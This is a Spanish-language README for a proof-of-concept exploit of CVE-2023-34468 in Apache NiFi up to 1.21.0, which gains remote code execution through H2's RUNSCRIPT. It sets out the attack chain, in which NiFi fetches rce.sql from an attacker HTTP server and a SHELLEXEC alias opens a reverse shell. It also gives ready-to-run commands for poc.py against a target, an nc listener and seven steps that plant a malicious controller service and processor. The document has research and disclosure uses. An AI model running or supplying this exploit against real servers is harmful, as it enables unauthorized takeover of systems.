
PoC exploit para CVE-2023-34468 — RCE mediante H2 RUNSCRIPT en Apache NiFi <= 1.21.0
Ejecución remota de código mediante RUNSCRIPT de la base de datos H2 en Apache NiFi <= 1.21.0
Apache NiFi incluye un JAR de la base de datos H2 de forma predeterminada. El servicio controlador DBCPConnectionPool puede configurarse para usar este controlador H2. H2 admite una declaración RUNSCRIPT que obtiene y ejecuta un archivo SQL desde una URL remota. Ese archivo SQL puede definir código Java arbitrario mediante CREATE ALIAS y ejecutarlo en el sistema operativo del servidor.
Cadena de ataque:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Versión |
|---|
| Apache NiFi | <= 1.21.0 |
| Corregido en | 1.21.1+ |
| Java | Cualquiera (incluido) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argumento | Por defecto | Descripción |
|---|---|---|
--target | http://NiFi.target.com | URL base del NiFi objetivo |
--lhost | 10.10.10.10 | Tu IP (tun0) |
--lport | 4444 | Puerto del listener del reverse shell |
--http-port | 80 | Puerto para servir rce.sql |
--cleanup | False | Eliminar artefactos creados tras la ejecución |
Terminal 1 — listener:
nc -lvnp 4444
Terminal 2 — exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)